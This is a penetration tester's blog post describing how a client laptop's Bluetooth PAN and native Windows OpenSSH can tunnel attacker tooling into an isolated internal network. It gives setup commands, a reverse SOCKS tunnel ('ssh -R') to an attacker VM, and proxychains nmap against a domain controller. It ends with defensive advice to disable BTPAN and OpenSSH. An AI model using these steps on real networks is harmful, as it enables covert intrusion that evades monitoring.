Living off the land with Bluetooth PAN

TL:DR

• Bluetooth is enabled by default on the majority of Windows laptops
• Bluetooth PAN can be used to bridge connections locally between a client laptop and attacking device
• Attackers can use Microsoft native SSH client to forward out internal network traffic
• Windows native SSH is accessible to low-privileged users by default
• The attack only needs minimal set-up and commands
• Quicker and more cost effective for an attacker than using C2 infrastructure
• Reduces likelihood of Blue team detection

Introduction

Recently I was on a malicious insider engagement, where one of the goals of the test was to be stealthy and minimise detection. Typically, to access any client’s internal network, I would connect my laptop into a local Ethernet port, but the client had effective client isolation in their office, which blocked non-corporate devices from accessing the internal network and other connected devices. To counter this, I used Bluetooth Personal Area Network (BTPAN) to create a local network between the client-provided laptop and a Linux VM hosted on my attacking devices, after which I could establish a reverse SSH proxy into their network.

This technique is useful as both tools are native to Windows, reducing the likelihood of blue team detection, and tunnelling Linux commands / tooling through the laptop in many cases won’t be flagged by EDR (unless you are doing something really noisy, like mass port scanning). This also removes the need to plug your testing laptop directly into the client network, where new devices may be monitored and flagged. This meant that I didn’t have to use a C2 server over the public Internet, improving simplicity, stability, and latency for testing.

Bluetooth PAN Remote Tunnel into Internal Network

The diagram below shows the technique’s traffic flow in a local Bluetooth PAN between an attacker and victim device, where OpenSSH is then used to create a reverse SSH tunnel. This tunnel allows malicious tools to be proxied into the internal network from the attacker device.

1. On a controlled client laptop, establish a Bluetooth PAN between the attacker and victim device.
2. OpenSSH is a remote access tool installed by default on Windows. Set up a reverse SSH proxy (tunnel) between the devices.
3. Malicious tooling can now be proxied into the network via this tunnel, to enumerate and attack hosts on the internal network

Steps:

• Purchase a Bluetooth adapter e.g. https://www.amazon.co.uk/StarTech-Bluetooth-Computer-Keyboard-USBA-BLUETOOTH-V5-C2/dp/B0B2737HPS, and connect it to your VM.
• Run the following commands to enable Bluetooth:
  
  sudo systemctl start bluetooth
  
  sudo systemctl enable Bluetooth

• In Bluetooth Manager, Go to View -> Services -> Enable Network Access Point (NAP), and note your IP address.

• Make the adapter discoverable, so that the client laptop can connect to the adapter.

• On the client laptop, in Bluetooth & Devices settings, find and connect to the adapter.
• Once connected, click the ‘more options’ button and click ‘Join Personal Area Network (PAN)’.

• You should now have a local network established with your attacking laptop’s VM. You can now establish a reverse SSH proxy as described in the following blog post: https://www.pentestpartners.com/security-blog/living-off-the-land-with-native-ssh-and-split-tunnelling/. For completeness, this can be achieved by doing the following:
  1. Create an SSH key pair on the client laptop and exfiltrate the id_rsa.pub key to your laptop
     1. ssh-keygen

1. Add the contents of id_rsa.pub to your attacking Linux VM’s authorized_keys file:
   1. cat id_rsa.pub >> /home/kali/.ssh/authorized_keys
2. enable SSH service on the Linux VM
   1. sudo systemctl enable ssh
3. On the client laptop, enter the following command to establish the SOCKS proxy through the SSH tunnel:
   127. ssh -R 127.0.0.1:9050 kali@VM_Bluetooth_PAN_IP_Address

1. You should now be able to execute commands in the client’s internal network by using proxychains, e.g.,
   1. proxychains nmap -p445 domain_controller_ip_address

Conclusion

Just like in the living off the land native SSH blog post, this is not a new and clever method of attack, rather it is using tools that are built-in to Windows to present an unexpected vector for access to networks that could mask many of the common tools used to assess a network.

To minimise the risk good practice is to disable unused facilities, in this case:

• BTPAN
• OpenSSH

Look at disabling these using  Intune / Group Policy configuration policies. If there is a justification for their use, consider monitoring the usage of these tools in your environment.